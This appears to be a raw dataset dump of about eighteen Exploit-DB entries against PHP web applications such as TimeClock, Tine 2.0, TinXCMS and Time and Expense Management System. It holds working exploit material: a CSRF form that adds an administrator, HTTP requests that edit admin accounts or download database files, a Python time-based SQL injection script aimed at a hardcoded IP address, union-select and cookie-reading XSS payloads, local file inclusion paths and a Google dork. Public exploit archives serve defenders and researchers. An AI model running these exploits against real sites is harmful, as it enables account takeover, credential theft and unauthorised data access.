deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45630
Description: Time and Expense Management System 3.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-10-17
Author: Ihsan Sencan

Exploit:
# Exploit Title: Time and Expense Management System 3.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2018-10-17
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.initechs.com/
# Software Link: http://sourceforge.net/projects/tems/files/latest
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# Description
# Normal member has all rights.

# POC: 
# 1)
# #Add,edit,delete admin+all users...
# http://localhost/[PATH]/index.php?action=ListUser
# http://localhost/[PATH]/index.php?action=BrowseUser&uid=1
# Etc..

#Update admin..
POST /[PATH]/core/controller/UpdateBORequest.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3i34gub8ub4dk3jhjthinlv922
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 227
action=EditUser&uid=1&fullname=Administrator_Edit&email=admin@admin.com&title=Administrator_Edit&joindate=10%2F17%2F2018&reportto=admin&usergroup=&language=ENG&dateformat=MDY&status=10&debuglevel=3&dbtracelevel=0&preview_receipt=1
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 00:46:35 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 10
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# /* `exploitdb`.`users` */
# $users = array(
#   array('uid' => '1','users_id' => 'admin','fullname' => 'Administrator_Edit','password' => '5ebf8364d17c8df7e4afd586c24f84a0','email' => 'admin@admin.com','joindate' => '2018-10-17','reportto' => 'admin','title' => 'Administrator_Edit','status' => '10','authorizations_id' => '1','usergroup' => '','dateformat' => 'MDY','language' => 'ENG','u_menu_id' => '1','lastloginat' => '2018-10-17 00:46:50','access_count' => '4','debuglevel' => '3','dbtracelevel' => '0','preview_receipt' => '1','createat' => '2018-10-17 00:26:09','createby' => '*SYSTEM','changeat' => '2018-10-17 00:47:42','changeby' => 'efe')
# );
Exploit-DB #51558
Description: Time Slot Booking Calendar 1.8 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-03
Author: CraCkEr

Exploit:
# Exploit Title: Time Slot Booking Calendar 1.8 - Stored XSS
# Date: 29/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/time-slot-booking-calendar-php.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Release Notes:

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.



## Stored XSS

-----------------------------------------------
POST /TimeSlotBookingCalendarPHP/load.php?controller=GzFront&action=booking_details&cid=1 HTTP/1.1

promo_code=&title=prof&male=female&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=rtznqs&terms=1&cal_id=1&calendar_id=1
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Choose any Day Colored by Green on the Calendar - Click on [+] near Start/End Time - Press [Booking]
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"


7. Accept with terms & Press [Booking]
   XSS Fired on Local User Browser

8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
   XSS Will Fire and Executed on his Browser

9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
   XSS Will Fire and Executed on his Browser

10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)
   XSS Will Fire and Executed on his Browser


[-] Done
Exploit-DB #11516
Description: TimeClock 0.99 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-02-20
Author: ViRuSMaN

Exploit:
==============================================================================
        [Â»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [Â»] TimeClock Remote Add Admin Exploit
==============================================================================

    [Â»] Script:             [ TimeClock ]
    [Â»] Language:           [ PHP ]
    [Â»] Site page:          [ timeclock-software is a free open-source application released under the GP. ]
    [Â»] Download:           [ http://www.hormiga.org/zonamac/descargas/timeclock-software.zip ]
    [Â»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [Â»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Pentestlabs.Com ]
    [Â»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

<html>
<head>
<title>TimeClock Remote Add Admin Exploit[By:MvM]</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>

<form method="post" action="http://localhost/scripts/add_user.php">
<table border="1">
<tr>
<td align="center"><b>Adding User</b></td>
</tr>
<tr>
<td>
<table>
<tr>
<td align="right">First Name:&nbsp;</td><td align="left"><input type="text" name="fname" size="30"></td>
</tr>
<tr>
<td align="right">Last Name:&nbsp;</td><td align="left"><input type="text" name="lname" size="30"></td>
</tr>
<tr>
<td align="right">Access Level:&nbsp;</td>
<td>
<select name="access_level">
<option value="Administrator">Administrator</option>
<option value="User">User</option>
</select>
</td>
</tr>
<tr>
<td align="right">Username:&nbsp;</td><td align="left"><input type="text" name="u_name" size="30"></td>
</tr>
<tr>
<td align="right">Password:&nbsp;</td><td align="left"><input type="text" name="user_password" size="30"></td>
</tr>
<tr>
<td>&nbsp;</td><td><input type="submit" name="submit" value="Add" class="button">&nbsp;<input type="submit" name="cancel" value="Cancel" class="button"></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #39404
Description: TimeClock Software 0.995 - (Authenticated ) Multiple SQL Injections
Type: webapps
Platform: php
Date: 2016-02-03
Author: Benetrix

Exploit:
#############################
Exploit Title : Timeclock-software - Multiple SQL injections
Author:Marcela Benetrix
Date: 01/27/2016
version: 0.995 (older version may be vulnerable too)
software link:http://timeclock-software.net

#############################
Timeclock software

Timeclock-software.net's free software product will be a simple solution to
allow your employees to record their time in one central location for easy
access.

##########################
SQL Injection Location

1. http://server/login.php
username and password were vulnerable to time-based blind sql injection
type.

Moreover, once logged into the app; the following URLs were found to be
vulnerable too:

2. http://server/view_data.php?period_id
3. http://server/edit_type.php?type_id=
4. http://server/edit_user.php?user_id=
5. http://server/edit_entry.php?time_id=

All of them are vulnerable to Union query and time-based blind.


##########################
Vendor Notification
01/27/2016 to: the developers. They replied immediately and fixed the
problem in a new release
002/03/2016: Disclosure
Exploit-DB #48874
Description: TimeClock Software 1.01 0 - (Authenticated) Time-Based SQL Injection
Type: webapps
Platform: php
Date: 2020-07-23
Author: François Bibeau

Exploit:
#!/usr/bin/python3

# Exploit Title: TimeClock Software 1.01 Authenticated Time-Based SQL Injection
# Date: July 21, 2020
# Exploit Author: François Bibeau
# Co Author: Tyler Butler, http://tbutler.org, https://twitter.com/tbutler0x90
# Vendor Homepage: http://timeclock-software.net/
# Software Link: http://timeclock-software.net/timeclock-download.php
# Version: 1.01
# Tested on: Ubuntu 18.04.3 (LTS) x64, mysql 5.7, php 7.2.1-apache

import time
import requests


login_url = 'http://159.203.41.34/login_action.php'    # Ensure to change ip to match target
login_data = {'username':'fred','password':'fred','submit':'Log In'}
headers = {'User-Agent': 'Mozilla/5.0'}

# init session & login
session = requests.Session()
session.post(login_url,headers=headers,data=login_data)

# static list provided for PoC, could use a text file
users = ['john','bill','tim','fred','garry','sid','admin']

for user in users:
	url = "http://159.203.41.34/add_entry.php"
	payload = f"' OR IF((SELECT username FROM user_info WHERE username='{user}')='{user}', SLEEP(5), NULL)='"

	data = {'data_month': '1',
	'data_day': '1',
	'data_year': '1',
	'type_id': '5',
	'hours': '1',
	'notes': payload,
	'submit': 'Add'}

	print(f'Checking user {user}... ', end = '')

	start = time.time()
	response = session.post(url,data=data)
	end = time.time()

	delay = end - start

	if delay > 5:
		print('User found!')
	else:
		print('')
Exploit-DB #18554
Description: Timesheet Next Gen 1.5.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-03-03
Author: G13

Exploit:
# Exploit Title: Timesheet Next Gen 1.5.2 Multiple SQLi
# Date: 02/23/12
# Author: G13
# Software Link: https://sourceforge.net/projects/tsheetx/
# Version: 1.5.2
# Category: webapps (php)
#

##### Vulnerability #####

The login.php page has multiple SQL injection vulnerabilities. Both
the 'username' and 'password'
parameters are vulnerable to SQL Injection.

The vulnerability exists via the POST method.

##### Vendor Notification #####

02/23/12 - Vendor Notified
02/26/12 - Email sent to each developer, developer responds
02/29/12 - Confirmation by developer requested
03/02/12 - Disclosure

##### Exploit #####

http://localhost/timesheet/

POST /timesheet/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:10.0.2)
Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/timesheet/login.php
Cookie: PHPSESSID=3b624f789e37fa3bdade432da
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
redirect=&username=[SQLi]&password=[SQLi]&Login=submit
Exploit-DB #32288
Description: TimeTrex Time 2.2 and Attendance Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-21
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/30789/info

TimeTrex is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

TimeTrex versions 2.2.12 and previous are vulnerable. 

http://www.example.com/interface/Login.php?user_name=admin&password=XSS
http://www.example.com/interface/Login.php?user_name=XSS
Exploit-DB #27841
Description: timobraun Dynamic Galerie 1.0 - 'galerie.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-08
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17896/info
   
Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/galerie.php?id=[XSS]
Exploit-DB #27839
Description: timobraun Dynamic Galerie 1.0 - 'galerie.php?pfad' Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2006-05-08
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17896/info
 
Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/galerie.php?pfad=/home/
Exploit-DB #27838
Description: timobraun Dynamic Galerie 1.0 - 'index.php?pfad' Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2006-05-08
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17896/info

Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?pfad=/tmp/
Exploit-DB #27840
Description: timobraun Dynamic Galerie 1.0 - 'index.php?pfad' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-08
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17896/info
  
Dynamic Galerie is prone to a directory-traversal vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/index.php?pfad=[XSS]
Exploit-DB #45833
Description: Tina4 Stack 1.0.3 - SQL Injection / Database File Download
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Tina4 Stack 1.0.3 - SQL Injection / Database File Download
# Dork: N/A
# Date: 2018-11-09
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://tina4.com/
# Software Link: https://ayera.dl.sourceforge.net/project/tina4stack/v1.0.3/Release%20V1.0.3.zip
# Version: 1.0.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/kim.db
# 
GET /[PATH]/kim.db HTTP/1.1
Host: TARGET:12345
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.7.7
Date: Fri, 09 Nov 2018 17:21:23 GMT
Content-Type: application/octet-stream
Content-Length: 22528
Last-Modified: Fri, 09 Nov 2018 17:09:46 GMT
Connection: keep-alive
Etag: "5be5bf5a-5800"
Accept-Ranges: bytes

#
view-source:kim.db / 3ˆ	AdminAdminadmin$2y$10$ATw/7BHxoZezY0UfffIq3.zAn8bzP6NPBpmh9Qmk5e4X8HHOjLAba2018-11-09 15:25:24Active

#
<?php

$baglan = new SQLite3('kim.db');

$sonuc = $baglan->query('SELECT * FROM user');

while ($p = $sonuc->fetchArray()) {?>

<h4><?php echo $p['email'];?></h4>
<h4><?php echo $p['passwd'];?></h4>

<?php } ?>

# POC: 
# 2)
# http://localhost/[PATH]/kim/menu/get/1 [SQL]
#
Exploit-DB #11113
Description: tincan ltd - 'section' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-11
Author: ALTBTA

Exploit:
+/=============================================\+
# [+] Title : tincan ltd (section) SQL Injection Vulnerability
# [+] site s.p : www.tincan.co.uk<http://www.tincan.co.uk>
# [+] Author : altbta
# [+] Email : l_9@HoTMaIL.com
# [+] home : v4-team.com<http://v4-team.com> & tryag.cc
+\=============================================/+

===============================================
DorK : intext:'powered by tincan ltd' and  inurl:"section.php?section=9"
===============================================
Exploit :
http://server/section.php?section=9&topic=6+union+select+1,2,3,version(),5--
============================================
GreeTz To :
  RxH   &    ab0-3th4b   &   sniper site
Exploit-DB #35682
Description: Tine 2.0 - 'vbook.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-30
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47669/info

Tine is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Tine 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/tine/library/vcardphp/vbook.php?file=<script>alert(0)</script>
Exploit-DB #36249
Description: Tine 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-20
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50307/info

Tine is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Tine 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/library/idnaconvert/example.php?lang=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/library/idnaconvert/example.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/library/phpexcel/phpexcel/shared/jama/docs/download.php/%27%3E%3Cscript%3Ealert%28document.cooki e%29;%3C/script%3E
Exploit-DB #5917
Description: TinXCMS 1.1 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??               [ Local File Include ]            [XSS]                    ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : TinX CMS 1.1           ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


[LFI]

http://localhost/path/include_me.php?language=[LFI]
http://localhost/path/admin/ajax.php?language=[LFI]
http://localhost/path/admin/inc/config.php?prefix=[LFI]
http://localhost/path/admin/objects/catalog.ajaxhandler.php?language=[LFI]

[XSS]

http://localhost/path/admin/objects/obj_image.php?language=[XSS]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23]
Exploit-DB #32843
Description: TinXCMS 3.5 - 'rss.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-06
Author: Dmitriy Evteev

Exploit:
source: https://www.securityfocus.com/bid/34021/info

TinX CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to TinX CMS 3.5.1 are vulnerable.

http://www.example.com/system/rss.php?id=1'SQL-code